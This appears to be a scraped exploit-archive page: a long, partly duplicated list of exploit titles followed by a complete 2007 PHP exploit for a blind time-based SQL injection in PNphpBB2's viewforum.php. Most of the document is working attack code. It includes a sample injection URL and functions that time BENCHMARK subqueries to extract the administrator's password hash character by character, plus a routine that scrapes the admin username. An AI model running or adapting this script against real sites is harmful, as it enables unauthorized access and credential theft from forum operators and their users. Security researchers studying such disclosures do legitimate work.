
13 new exploits SeaMonkey 1.1.14 - (marquee) Denial of Service SeaMonkey 1.1.14 - Denial of Service Adobe Flash Player 24.0.0.186 - 'ActionGetURL2' Out-of-Bounds Memory Corruption Adobe Flash Player 24.0.0.186 - 'ActionGetURL2' Out-of-Bounds Memory Corruption (1) SapLPD 7.40 - Denial of Service CoolPlayer 2.19 - (PlaylistSkin) Buffer Overflow CoolPlayer 2.19 - 'PlaylistSkin' Buffer Overflow Rosoft media player 4.4.4 - Buffer Overflow (SEH) (2) Rosoft Media Player 4.4.4 - Buffer Overflow (SEH) (2) aSc Timetables 2017 - Buffer Overflow Nginx (Debian-Based Distributions) - 'logrotate' Local Privilege Escalation Nginx (Debian-Based + Gentoo) - 'logrotate' Local Privilege Escalation Cemu 1.6.4b - Information Leak + Buffer Overflow (Emulator Breakout) Cemu 1.6.4b - Information Leak / Buffer Overflow (Emulator Breakout) PlaySMS 0.7 - SQL Injection PlaySms 0.7 - SQL Injection SAP SAPLPD 6.28 - Buffer Overflow (Metasploit) SapLPD 6.28 - Buffer Overflow (Metasploit) Microsoft Windows Media Player 7.0 - '.wms' Arbitrary Script (MS00-090) phpMyFamily 1.4.0 - Authentication Bypass (SQL Injection) phpMyFamily 1.4.0 - Authentication Bypass ACNews 1.0 - Admin Authentication Bypass (SQL Injection) ACNews 1.0 - Authentication Bypass ASPThai.Net Guestbook 5.5 - (Authentication Bypass) SQL Injection ASPThai.Net Guestbook 5.5 - Authentication Bypass PNphpBB2 <= 1.2g - 'phpbb_root_path' Remote File Inclusion PNphpBB2 <= 1.2g - 'phpbb_root_path' Parameter Remote File Inclusion cutenews aj-fork 167f - 'cutepath' Parameter Remote File Inclusion CuteNews aj-fork 167f - 'cutepath' Parameter Remote File Inclusion WSN Guest 1.21 - (comments.php id) SQL Injection WSN Guest 1.21 - 'id' Parameter SQL Injection PNPHPBB2 <= 1.2 - (index.php c) SQL Injection PNPHPBB2 <= 1.2 - 'index.php' SQL Injection PNPHPBB2 <= 1.2i - viewforum.php SQL Injection PNPHPBB2 <= 1.2i - 'viewforum.php' SQL Injection PNPHPBB2 <= 1.2i - (printview.php PHPEx) Local File Inclusion PNPHPBB2 <= 1.2i - 'PHPEx' Parameter Local File Inclusion webClassifieds 2005 - (Authentication Bypass) SQL Injection webClassifieds 2005 - Authentication Bypass webSPELL 4.01.02 - 'id' Remote Edit Topics PNphpBB2 <= 12i - (ModName) Multiple Local File Inclusion WSN Guest 1.23 - 'Search' SQL Injection webSPELL 4.01.02 - 'id' Parameter Remote Edit Topics PNphpBB2 <= 1.2i - (ModName) Multiple Local File Inclusion WSN Guest 1.23 - 'Search' Parameter SQL Injection Ayemsis Emlak Pro - (Authentication Bypass) SQL Injection Ayemsis Emlak Pro - Authentication Bypass Joomla! Component com_phocadocumentation - 'id' SQL Injection phpauctionsystem - Cross-Site Scripting / SQL Injection Joomla! Component com_phocadocumentation - 'id' Parameter SQL Injection PHPAuctionSystem - Cross-Site Scripting / SQL Injection RiotPix 0.61 - (forumid) Blind SQL Injection RiotPix 0.61 - 'forumid' Parameter Blind SQL Injection RiotPix 0.61 - (Authentication Bypass) SQL Injection RiotPix 0.61 - Authentication Bypass playSms 0.9.3 - Multiple Remote / Local File Inclusion BlogHelper - 'common_db.inc' Remote Config File Disclosure PollHelper - 'poll.inc' Remote Config File Disclosure PlaySms 0.9.3 - Multiple Remote / Local File Inclusion BlogHelper - Remote Config File Disclosure PollHelper - Remote Config File Disclosure Fast FAQs System - (Authentication Bypass) SQL Injection Fast FAQs System - Authentication Bypass Fast Guest Book - (Authentication Bypass) SQL Injection Fast Guest Book - Authentication Bypass BKWorks ProPHP 0.50b1 - (Authentication Bypass) SQL Injection Weight Loss Recipe Book 3.1 - (Authentication Bypass) SQL Injection BKWorks ProPHP 0.50b1 - Authentication Bypass Weight Loss Recipe Book 3.1 - Authentication Bypass Dark Age CMS 0.2c Beta - (Authentication Bypass) SQL Injection Syzygy CMS 0.3 - (Authentication Bypass) SQL Injection Dark Age CMS 0.2c Beta - Authentication Bypass Syzygy CMS 0.3 - Authentication Bypass eFAQ - (Authentication Bypass) SQL Injection eReservations - (Authentication Bypass) SQL Injection The Walking Club - (Authentication Bypass) SQL Injection Ping IP - (Authentication Bypass) SQL Injection eFAQ - Authentication Bypass eReservations - Authentication Bypass The Walking Club - Authentication Bypass Ping IP - Authentication Bypass ASP ActionCalendar 1.3 - (Authentication Bypass) SQL Injection ASP ActionCalendar 1.3 - Authentication Bypass Click&Email - (Authentication Bypass) SQL Injection Click&Email - Authentication Bypass Web-Calendar Lite 1.0 - (Authentication Bypass) SQL Injection Web-Calendar Lite 1.0 - Authentication Bypass ClickAuction - (Authentication Bypass) SQL Injection ClickAuction - Authentication Bypass Netartmedia Car Portal 1.0 - (Authentication Bypass) SQL Injection Netartmedia Car Portal 1.0 - Authentication Bypass SalesCart - (Authentication Bypass) SQL Injection SalesCart - Authentication Bypass WholeHogSoftware Ware Support - (Authentication Bypass) SQL Injection WholeHogSoftware Password Protect - (Authentication Bypass) SQL Injection WholeHogSoftware Ware Support - Authentication Bypass WholeHogSoftware Password Protect - Authentication Bypass ClickCart 6.0 - (Authentication Bypass) SQL Injection ClickCart 6.0 - Authentication Bypass Online Grades 3.2.4 - (Authentication Bypass) SQL Injection Online Grades 3.2.4 - Authentication Bypass MyDesing Sayac 2.0 - (Authentication Bypass) SQL Injection MyDesing Sayac 2.0 - Authentication Bypass AuthPhp 1.0 - (Authentication Bypass) SQL Injection Mynews 0_10 - (Authentication Bypass) SQL Injection BlueBird Pre-Release - (Authentication Bypass) SQL Injection AuthPhp 1.0 - Authentication Bypass Mynews 0_10 - Authentication Bypass BlueBird Pre-Release - Authentication Bypass Grestul 1.x - Authentication Bypass (via Cookie SQL Injection) Grestul 1.x - Authentication Bypass (Cookie SQL Injection) XGuestBook 2.0 - (Authentication Bypass) SQL Injection XGuestBook 2.0 - Authentication Bypass PenPal 2.0 - (Authentication Bypass) SQL Injection PenPal 2.0 - Authentication Bypass BannerManager 0.81 - (Authentication Bypass) SQL Injection BannerManager 0.81 - Authentication Bypass Free PHP Petition Signing Script - (Authentication Bypass) SQL Injection Free PHP Petition Signing Script - Authentication Bypass Simbas CMS 2.0 - (Authentication Bypass) SQL Injection WebFileExplorer 3.1 - (Authentication Bypass) SQL Injection Simbas CMS 2.0 - Authentication Bypass WebFileExplorer 3.1 - Authentication Bypass My Dealer CMS 2.0 - (Authentication Bypass) SQL Injection My Dealer CMS 2.0 - Authentication Bypass XEngineSoft PMS/MGS/NM/Ams 1.0 - (Authentication Bypass) SQL Injection XEngineSoft PMS/MGS/NM/Ams 1.0 - Authentication Bypass NetHoteles 2.0/3.0 - (Authentication Bypass) SQL Injection NetHoteles 2.0/3.0 - Authentication Bypass Tiny Blogr 1.0.0 rc4 - (Authentication Bypass) SQL Injection Tiny Blogr 1.0.0 rc4 - Authentication Bypass ClanTiger 1.1.1 - (Authentication Bypass) SQL Injection ClanTiger 1.1.1 - Authentication Bypass Hot Project 7.0 - (Authentication Bypass) SQL Injection Hot Project 7.0 - Authentication Bypass EZ Webitor - (Authentication Bypass) SQL Injection EZ Webitor - Authentication Bypass Creasito E-Commerce 1.3.16 - (Authentication Bypass) SQL Injection Creasito E-Commerce 1.3.16 - Authentication Bypass I-Rater Pro/Plantinum 4.0 - (Authentication Bypass) SQL Injection I-Rater Pro/Plantinum 4.0 - Authentication Bypass 5 star Rating 1.2 - (Authentication Bypass) SQL Injection 5 star Rating 1.2 - Authentication Bypass Tiger Dms - (Authentication Bypass) SQL Injection Tiger Dms - Authentication Bypass The Recipe Script 5 - (Authentication Bypass) SQL Injection / DB Backup Realty Web-Base 1.0 - (Authentication Bypass) SQL Injection Luxbum 0.5.5/stable - (Authentication Bypass) SQL Injection The Recipe Script 5 - (Authentication Bypass) SQL Injection / Database Backup Realty Web-Base 1.0 - Authentication Bypass Luxbum 0.5.5/stable - Authentication Bypass My Game Script 2.0 - (Authentication Bypass) SQL Injection My Game Script 2.0 - Authentication Bypass Submitter Script - (Authentication Bypass) SQL Injection Submitter Script - Authentication Bypass PHP Dir Submit - (Authentication Bypass) SQL Injection PHP Dir Submit - Authentication Bypass DM FileManager 3.9.2 - (Authentication Bypass) SQL Injection DM FileManager 3.9.2 - Authentication Bypass VICIDIAL 2.0.5-173 - (Authentication Bypass) SQL Injection VICIDIAL 2.0.5-173 - Authentication Bypass Article Directory - (Authentication Bypass) SQL Injection Article Directory - Authentication Bypass phpBugTracker 1.0.3 - (Authentication Bypass) SQL Injection phpBugTracker 1.0.3 - Authentication Bypass Zen Help Desk 2.1 - (Authentication Bypass) SQL Injection Zen Help Desk 2.1 - Authentication Bypass EgyPlus 7ml 1.0.1 - (Authentication Bypass) SQL Injection EgyPlus 7ml 1.0.1 - Authentication Bypass Pixelactivo 3.0 - (Authentication Bypass) SQL Injection Pixelactivo 3.0 - Authentication Bypass MyCars Automotive - (Authentication Bypass) SQL Injection MyCars Automotive - Authentication Bypass Zip Store Chat 4.0/5.0 - (Authentication Bypass) SQL Injection Zip Store Chat 4.0/5.0 - Authentication Bypass AlumniServer 1.0.1 - (Authentication Bypass) SQL Injection AlumniServer 1.0.1 - Authentication Bypass ForumPal FE 1.1 - (Authentication Bypass) SQL Injection ForumPal FE 1.1 - Authentication Bypass Opial 1.0 - (Authentication Bypass) SQL Injection Opial 1.0 - Authentication Bypass webLeague 2.2.0 - (Authentication Bypass) SQL Injection webLeague 2.2.0 - Authentication Bypass AnotherPHPBook (APB) 1.3.0 - (Authentication Bypass) SQL Injection AnotherPHPBook (APB) 1.3.0 - Authentication Bypass SaphpLesson 4.0 - (Authentication Bypass) SQL Injection SaphpLesson 4.0 - Authentication Bypass Limny 1.01 - (Authentication Bypass) SQL Injection Limny 1.01 - Authentication Bypass Magician Blog 1.0 - (Authentication Bypass) SQL Injection Magician Blog 1.0 - Authentication Bypass AW BannerAd - (Authentication Bypass) SQL Injection AW BannerAd - Authentication Bypass Ajax Short URL Script - (Authentication Bypass) SQL Injection Ajax Short URL Script - Authentication Bypass TT Web Site Manager 0.5 - (Authentication Bypass) SQL Injection SimpleLoginSys 0.5 - (Authentication Bypass) SQL Injection TT Web Site Manager 0.5 - Authentication Bypass SimpleLoginSys 0.5 - Authentication Bypass Questions Answered 1.3 - (Authentication Bypass) SQL Injection Questions Answered 1.3 - Authentication Bypass Blink Blog System - (Authentication Bypass) SQL Injection Blink Blog System - Authentication Bypass MOC Designs PHP News 1.1 - (Authentication Bypass) SQL Injection MOC Designs PHP News 1.1 - Authentication Bypass PHotoLa Gallery 1.0 - (Authentication Bypass) SQL Injection PHotoLa Gallery 1.0 - Authentication Bypass PHPCityPortal - (Authentication Bypass) SQL Injection PHPCityPortal - Authentication Bypass Logoshows BBS 2.0 - (Authentication Bypass) SQL Injection Logoshows BBS 2.0 - Authentication Bypass SmilieScript 1.0 - (Authentication Bypass) SQL Injection SmilieScript 1.0 - Authentication Bypass humanCMS - (Authentication Bypass) SQL Injection humanCMS - Authentication Bypass Three Pillars Help Desk 3.0 - (Authentication Bypass) SQL Injection Three Pillars Help Desk 3.0 - Authentication Bypass AdsDX 3.05 - (Authentication Bypass) SQL Injection AdsDX 3.05 - Authentication Bypass Nephp Publisher Enterprise 4.5 - (Authentication Bypass) SQL Injection Nephp Publisher Enterprise 4.5 - Authentication Bypass W3infotech - (Authentication Bypass) SQL Injection W3infotech - Authentication Bypass Real Estate Portal X.0 - (Authentication Bypass) SQL Injection Real Estate Portal X.0 - Authentication Bypass PHP Inventory 1.2 - Remote Authentication Bypass (SQL Injection) PHP Inventory 1.2 - Authentication Bypass SitePal 1.1 - (Authentication Bypass) SQL Injection SitePal 1.1 - Authentication Bypass JM CMS 1.0 <= 1.0 - (Authentication Bypass) SQL Injection JM CMS 1.0 - Authentication Bypass Pre Hospital Management System - (Authentication Bypass) SQL Injection Pre Hospital Management System - Authentication Bypass Digiappz Freekot - (Authentication Bypass) SQL Injection Digiappz Freekot - Authentication Bypass Omnistar Affiliate - (Authentication Bypass) SQL Injection Omnistar Affiliate - Authentication Bypass PRE HOTELS&RESORTS MANAGEMENT SYSTEM - (Authentication Bypass) SQL Injection PRE HOTELS&RESORTS MANAGEMENT SYSTEM - Authentication Bypass Advance Biz Limited 1.0 - (Authentication Bypass) SQL Injection Advance Biz Limited 1.0 - Authentication Bypass e-topbiz banner exchange PHP - (Authentication Bypass) SQL Injection e-topbiz Slide Popups 1 PHP - (Authentication Bypass) SQL Injection e-topbiz banner exchange PHP - Authentication Bypass e-topbiz Slide Popups 1 PHP - Authentication Bypass Freewebscript'z Games - (Authentication Bypass) SQL Injection Freewebscript'z Games - Authentication Bypass DZOIC Handshakes - Authentication Bypass (SQL Injection) DZOIC Handshakes - Authentication Bypass DZOIC ClipHouse - Authentication Bypass (SQL Injection) DZOIC ClipHouse - Authentication Bypass PHP Car Rental-Script - (Authentication Bypass) SQL Injection PHP Car Rental-Script - Authentication Bypass Zen Tracking 2.2 - (Authentication Bypass) SQL Injection Baal Systems 3.8 - (Authentication Bypass) SQL Injection Zen Tracking 2.2 - Authentication Bypass Baal Systems 3.8 - Authentication Bypass Killmonster 2.1 - (Authentication Bypass) SQL Injection Killmonster 2.1 - Authentication Bypass Rostermain 1.1 - (Authentication Bypass) SQL Injection Rostermain 1.1 - Authentication Bypass NewsLetter Tailor - (Authentication Bypass) SQL Injection NewsLetter Tailor - Authentication Bypass WSN Guest 1.02 - (orderlinks) SQL Injection WSN Guest 1.02 - 'orderlinks' Parameter SQL Injection Project Man 1.0 - (Authentication Bypass) SQL Injection Project Man 1.0 - Authentication Bypass Uiga Fan Club 1.0 - (Authentication Bypass) SQL Injection Uiga Fan Club 1.0 - Authentication Bypass HazelPress Lite 0.0.4 - (Authentication Bypass) SQL Injection HazelPress Lite 0.0.4 - Authentication Bypass Majoda CMS - (Authentication Bypass) SQL Injection Majoda CMS - Authentication Bypass 4x CMS r26 - (Authentication Bypass) SQL Injection 4x CMS r26 - Authentication Bypass Satellite-X 4.0 - (Authentication Bypass) SQL Injection Huron CMS 8 11 2007 - (Authentication Bypass) SQL Injection Satellite-X 4.0 - Authentication Bypass Huron CMS 8 11 2007 - Authentication Bypass Zyke CMS 1.1 - (Authentication Bypass) SQL Injection Zyke CMS 1.1 - Authentication Bypass Online University - (Authentication Bypass) SQL Injection Online University - Authentication Bypass Online Job Board - (Authentication Bypass) SQL Injection Online Job Board - Authentication Bypass JE CMS 1.0.0 - Authentication Bypass (via SQL Injection) JE CMS 1.0.0 - Authentication Bypass ExtCalendar2 - (Authentication Bypass/Cookie) SQL Injection ExtCalendar2 - (Authentication Bypass / Cookie) SQL Injection SN News 1.2 - '/admin/loger.php' Authentication Bypass (SQL Injection) SN News 1.2 - '/admin/loger.php' Authentication Bypass RTTucson Quotations Database Script - (Authentication Bypass) SQL Injection RTTucson Quotations Database Script - Authentication Bypass PlaySms - 'index.php' Cross-Site Scripting PlaySms 0.8 - 'index.php' Cross-Site Scripting Practico CMS 13.7 - Authentication Bypass (SQL Injection) Practico CMS 13.7 - Authentication Bypass Airbnb Clone Script - Arbitrary File Upload Milw0rm Clone Script 1.0 - (Authentication Bypass) SQL Injection Milw0rm Clone Script 1.0 - Authentication Bypass PHPCollab CMS 2.5 - (emailusers.php) SQL Injection PHPCollab CMS 2.5 - 'emailusers.php' SQL Injection My link trader 1.1 - 'id' Parameter SQL Injection My Link Trader 1.1 - 'id' Parameter SQL Injection b2evolution 6.8.2 - Arbitrary File Upload Job Portal Script 9.11 - Authentication Bypass Online Food Delivery 2.04 - Authentication Bypass iTechscripts Freelancer Script 5.11 - 'sk' Parameter SQL Injection D-Link DIR-615 - Multiple Vulnerabilities School Management Software 2.75 - SQL Injection Penny Auction Script - Arbitrary File Upload ECommerce-TIBSECART - Arbitrary File Upload ECommerce-Multi-Vendor Software - Arbitrary File Upload
316 lines
8 KiB
PHP
Executable file
316 lines
8 KiB
PHP
Executable file
/*
|
|
[i] PNphpBB2 "viewforum.php" SQL Injection Blind Password Hash Fishing Exploit
|
|
[i] Vulnerable versions: PNphpBB2 <= 1.2i (current last version)
|
|
[i] Bug discovered by: Coloss
|
|
[i] Exploit by: Coloss
|
|
[i] Date: 03.07.2007
|
|
|
|
[Notes]
|
|
[->] You need at least 2 posts in the forum.
|
|
[->] Thanks to waraxe for exploit structure... I have saved much time :)
|
|
|
|
[Tested]
|
|
[->] Postnuke 0.764 with PNphpBB2 1.2i and MySQL 5.0.42
|
|
Maybe with other MySQL versions SQL Query should be slightly different
|
|
|
|
[Bug Analysis]
|
|
|
|
File: viewforum.php
|
|
|
|
387 if ( isset($HTTP_GET_VARS['order']) || isset($HTTP_POST_VARS['order']) )
|
|
388 {
|
|
389 $sort_order = isset($HTTP_GET_VARS['order']) ? $HTTP_GET_VARS['order'] : $HTTP_POST_VARS['order'];
|
|
390 }
|
|
|
|
We can handle '$sort_order'...
|
|
|
|
415 $sql = "SELECT t.*, u.username, u.user_id, u2.username as user2, u2.user_id as id2, p.post_username, p2.post_username AS post_username2, p2.post_time
|
|
416 FROM " . TOPICS_TABLE . " t, " . USERS_TABLE . " u, " . POSTS_TABLE . " p, " . POSTS_TABLE . " p2, " . USERS_TABLE . " u2
|
|
417 WHERE t.forum_id = $forum_id
|
|
418 AND t.topic_poster = u.user_id
|
|
419 AND p.post_id = t.topic_first_post_id
|
|
420 AND p2.post_id = t.topic_last_post_id
|
|
421 AND u2.user_id = p2.poster_id
|
|
422 AND t.topic_type <> " . POST_ANNOUNCE . "
|
|
423 $limit_topics_time
|
|
424 ORDER BY t.topic_type DESC, $sort_method $sort_order
|
|
425 LIMIT $start, ".$board_config['topics_per_page'];
|
|
|
|
... and this value is used without any check in the sql query.^
|
|
|
|
The only "problem" could be that the SQL injection is only possible after an 'ORDER BY' statement... but we should be able (with appropriate MySQL version) to inject a subquery.
|
|
|
|
In this case we can request something like this:
|
|
http://www.site.com/postnuke/?module=PNphpBB2&file=viewforum&f=1&order=ASC, (SELECT user_password FROM pn_phpbb_users WHERE user_id=2 AND IF(ORD(SUBSTR(user_password,1,1))>52,BENCHMARK(2500000,MD5(71337)),1))
|
|
|
|
With this kind of query we can use an 'if' statement to discover each character of the admin's password hash, analyzing the delay time of server's answers.
|
|
In fact if the 'if' statement results true (ORD() returns the ascii value of a character) the md5() function 'll be repeated 2500000 times and you 'll get a big delay.
|
|
|
|
For more informations study the SQL Functions list.
|
|
*/
|
|
|
|
$testcnt = 300000; // Use bigger numbers, if server is slow
|
|
$fid = 1; // Forum ID
|
|
$prefix = "pn_"; // SQL Table prefix
|
|
$adminid = 2; // Admin user id, default: 2
|
|
|
|
$opts = getopt("u:f:U:P:o:");
|
|
|
|
print
|
|
"[i] PNphpBB2 \"viewforum.php\" SQL Injection Blind Password Hash Fishing Exploit
|
|
[i] Vulnerable versions: PNphpBB2 <= 1.2i (current last version)
|
|
[i] Bug discovered by: Coloss
|
|
[i] Exploit by: Coloss
|
|
[i] Date: 03.07.2007\n\n";
|
|
|
|
|
|
if ($opts[u] == '')
|
|
die (help($argv[0]));
|
|
|
|
if (strncmp($opts[u], "http",4))
|
|
$url = 'http://'.$opts[u];
|
|
else
|
|
$url = $opts[u];
|
|
|
|
if ($opts[U])
|
|
$user = $opts[U];
|
|
if ($opts[P])
|
|
$hash = $opts[P];
|
|
if ($opts[o])
|
|
$file = $opts[o];
|
|
if ($opts[f])
|
|
$fid = (int) $opts[f];
|
|
|
|
echo "[+] Target: $url\n";
|
|
|
|
$norm_delay = 0;
|
|
echo "[+] Testing probe delays... \n";
|
|
$norm_delay = get_normdelay($testcnt);
|
|
echo "[-] Normal delay: $norm_delay deciseconds\n";
|
|
|
|
if (!$user) {
|
|
echo "[+] Trying to find admin username... ";
|
|
$user = find_username();
|
|
}
|
|
|
|
$field = 'user_password';
|
|
|
|
if (!$hash) {
|
|
echo "\n[+] Trying to find Password MD5 Hash...\n\n";
|
|
$hash = get_hash();
|
|
}
|
|
|
|
echo"[-] Finished!\n";
|
|
|
|
owrite("\n[->] Target: $url\n");
|
|
owrite("[->] Username: $user\n");
|
|
owrite("[->] Password MD5 Hash: $hash\n");
|
|
|
|
function get_hash()
|
|
{
|
|
global $field;
|
|
|
|
$len = 32;
|
|
$out = '';
|
|
|
|
for($i = 1; $i < $len + 1; $i ++) {
|
|
$ch = get_hashchar($i);
|
|
$out .= "$ch";
|
|
echo "[->] Current '$field' ($i): $out \n";
|
|
}
|
|
echo "\n[-] Found Password Hash: $out\n\n";
|
|
return $out;
|
|
}
|
|
|
|
|
|
function get_hashchar($pos)
|
|
{
|
|
global $fid, $testcnt, $field, $adminid, $prefix;
|
|
$char = '';
|
|
$cnt = $testcnt * 5;
|
|
|
|
$sql = "ASC, (SELECT ".$field." FROM ".$prefix."phpbb_users WHERE user_id=".$adminid." AND IF(ORD(SUBSTR(".$field.",".$pos.",1))%s,BENCHMARK(".$cnt.",MD5(71337)),1))";
|
|
$post = "name=PNphpBB2&file=viewforum&f=".$fid."&order=".$sql;
|
|
|
|
$req = sprintf($post, ">57");
|
|
|
|
$letter = test_condition($req);
|
|
|
|
if ($letter) {
|
|
$min = 97;
|
|
$max = 102;
|
|
}
|
|
else {
|
|
$min = 48;
|
|
$max = 57;
|
|
}
|
|
|
|
$curr = 0;
|
|
|
|
while(1) {
|
|
$area = $max - $min;
|
|
if ($area < 2 ) {
|
|
$req = sprintf($post, "=$max");
|
|
|
|
$eq = test_condition($req);
|
|
|
|
if($eq)
|
|
$char = chr($max);
|
|
else
|
|
$char = chr($min);
|
|
break;
|
|
}
|
|
|
|
$half = intval(floor($area / 2));
|
|
$curr = $min + $half;
|
|
|
|
$req = sprintf($post, ">$curr");
|
|
echo $req;
|
|
|
|
$bigger = test_condition($req);
|
|
|
|
if ($bigger)
|
|
$min = $curr;
|
|
else
|
|
$max = $curr;
|
|
}
|
|
return $char;
|
|
}
|
|
|
|
function test_condition($req)
|
|
{
|
|
global $url, $norm_delay;
|
|
|
|
$bool = false;
|
|
|
|
$start = getmicrotime();
|
|
$buff = Send($url, $req);
|
|
$end = getmicrotime();
|
|
|
|
$diff = $end - $start;
|
|
$delay = intval($diff * 10);
|
|
|
|
if ($delay > ($norm_delay * 2))
|
|
$bool = true;
|
|
return $bool;
|
|
}
|
|
|
|
|
|
function get_normdelay($testcnt)
|
|
{
|
|
$nda = test_md5delay(1);
|
|
$da = test_md5delay($testcnt);
|
|
$ndb = test_md5delay(1);
|
|
$db = test_md5delay($testcnt);
|
|
$ndc = test_md5delay(1);
|
|
$dc = test_md5delay($testcnt);
|
|
|
|
$mean_delayed = intval(($da + $db + $dc) / 3);
|
|
|
|
return $mean_delayed;
|
|
}
|
|
|
|
function test_md5delay($cnt)
|
|
{
|
|
global $url, $fid, $prefix, $adminid, $prefix;
|
|
|
|
$delay = -1;
|
|
|
|
$sql = "ASC, (SELECT user_password FROM ".$prefix."phpbb_users WHERE u.user_id=".$adminid." AND IF(LENGTH(user_password)>31,BENCHMARK(".$cnt.",MD5(71337)),1))";
|
|
$req = "name=PNphpBB2&file=viewforum&f=".$fid."&order=".$sql;
|
|
|
|
$start = getmicrotime();
|
|
$buff = Send($url, $req);
|
|
$end = getmicrotime();
|
|
|
|
if (strstr($buff, "Could not obtain topic information"))
|
|
die("[X] Something is wrong... (maybe SQL Query)\n");
|
|
else if (strstr($buff, "The forum you selected does not exist"))
|
|
die("[X] The Forum doesn't exist.. change 'fid' value\n");
|
|
|
|
$diff = $end - $start;
|
|
$delay = intval($diff * 10);
|
|
|
|
return $delay;
|
|
}
|
|
|
|
function getmicrotime()
|
|
{
|
|
list($usec, $sec) = explode(" ", microtime());
|
|
return ((float)$usec + (float)$sec);
|
|
}
|
|
|
|
function Send($url, $req='')
|
|
{
|
|
$ch = curl_init();
|
|
|
|
curl_setopt ($ch, CURLOPT_URL, $url);
|
|
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
|
|
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 60);
|
|
|
|
if ($req) {
|
|
curl_setopt($ch, CURLOPT_POST, 1);
|
|
curl_setopt($ch, CURLOPT_POSTFIELDS, $req);
|
|
}
|
|
|
|
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
|
|
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
|
|
|
|
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
|
|
|
|
$html = curl_exec($ch);
|
|
curl_close($ch);
|
|
|
|
return $html;
|
|
}
|
|
|
|
|
|
function help ($prog)
|
|
{
|
|
print "[-] Usage: $prog
|
|
-u <url> -> Sets Target url
|
|
[-f] <id> -> Sets forum id
|
|
[-U] <user> -> Sets username
|
|
[-P] <pass> -> Sets password
|
|
[-o] <file> -> Writes results to a file\n";
|
|
}
|
|
|
|
|
|
function owrite ($msg)
|
|
{
|
|
global $file;
|
|
|
|
echo $msg;
|
|
|
|
if ($file) {
|
|
if (!($h = fopen($file, 'ab'))) {
|
|
echo "[X] Cannot open '$file'\n";
|
|
return;
|
|
}
|
|
if (fwrite($h, $msg) === FALSE)
|
|
echo "[X] Cannot write to '$file'\n";
|
|
fclose($h);
|
|
}
|
|
}
|
|
|
|
function find_username ()
|
|
{
|
|
global $url, $fid, $adminid;
|
|
|
|
$req = "name=PNphpBB2&file=viewforum&f=".$fid;
|
|
$str = "file=profile&mode=viewprofile&u=".$adminid;
|
|
|
|
$html = Send($url, $req);
|
|
|
|
if (strstr($html, $str)) {
|
|
$u = substr($html,strpos($html,$str)+strlen($str),strpos(substr($html,strpos($html,$str)+strlen($str),strlen($html)), "<"));
|
|
$u = substr($u, strpos($u, ">")+1, strlen($u)-strpos($u, ">"));
|
|
echo "found: '$u'\n";
|
|
}
|
|
else
|
|
echo "failed: probably he has not posted in this forum (or maybe he has a different user id)\n";
|
|
return $u;
|
|
}
|
|
?>
|
|
|
|
# milw0rm.com [2007-07-03]
|